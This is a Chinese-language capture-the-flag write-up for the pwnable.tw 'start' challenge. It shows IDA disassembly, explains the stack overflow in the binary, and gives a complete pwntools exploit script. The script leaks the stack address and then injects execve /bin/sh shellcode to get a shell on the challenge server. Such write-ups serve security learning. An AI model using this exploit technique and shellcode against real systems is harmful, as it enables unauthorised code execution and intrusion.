本文最后更新于:2025年6月25日 上午
start
把二进制文件拖进32位ida看一下,发现只有start和exit两个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| .text:08048060 _start proc near .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp .text:08048089 mov dl, 14h .text:0804808B mov bl, 1 .text:0804808D mov al, 4 .text:0804808F int 80h .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch .text:08048095 mov al, 3 .text:08048097 int 80h .text:08048099 add esp, 14h .text:0804809C retn
.text:0804809D .text:0804809D _exit proc near .text:0804809D .text:0804809D status = dword ptr 4 .text:0804809D .text:0804809D pop esp .text:0804809E xor eax, eax .text:080480A0 inc eax .text:080480A1 int 80h .text:080480A1 _exit endp
|
简单分析下start的逻辑:
先调用了write函数,打印字符串
- 将old esp压栈
- 压栈五次,构建要输出的字符串
- 将esp的值传给ecx,ecx是打印开始的地址
- 设置dl和bl、al寄存器,分别对应字符串长度和文件描述符的值、系统调用号(write系统调用对应4)
- 打印出栈上构建的字符串,也即是我们运行start程序后输出的
Let's start the CTF:
之后调用了read函数,将用户输入的内容存到栈上
最后add esp,pop eip,跳转到exit函数,程序结束
由于我们可以控制0x3c个缓冲区数据,而这个长度大于esp到ret addr的距离,因此存在溢出
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
from pwn import *
sh=remote('chall.pwnable.tw',10000) sh.recv()
payload = b'a'*0x14 + p32(0x8048087)
sh.send(payload) old_esp=u32(sh.recv()[:4])
shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
ret_addr=old_esp+20 payload = b'a'*0x14 + p32(ret_addr)+shellcode
sh.send(payload)
sh.interactive()
|
几点解释:
- 由于我们不知道栈的位置,因此需要借助write系统调用将old esp的地址打印出来,这样就可以定位到shellcode的地址
- 我们需要构造两次payload,第一次是得到old esp,第二次是劫持控制流到shellcode
- 如果使用asm(shellcraft.sh()),将会无法get shell,因为通过这种方式生成的shellcode是44字节,加上padding之后超出了能控制的0x3c的范围
- 关于栈帧的分析,可以参考https://viblo.asia/p/pwnabletw-pwnstart-qPoL7zXXJvk
- $ find / -name flag查找flag
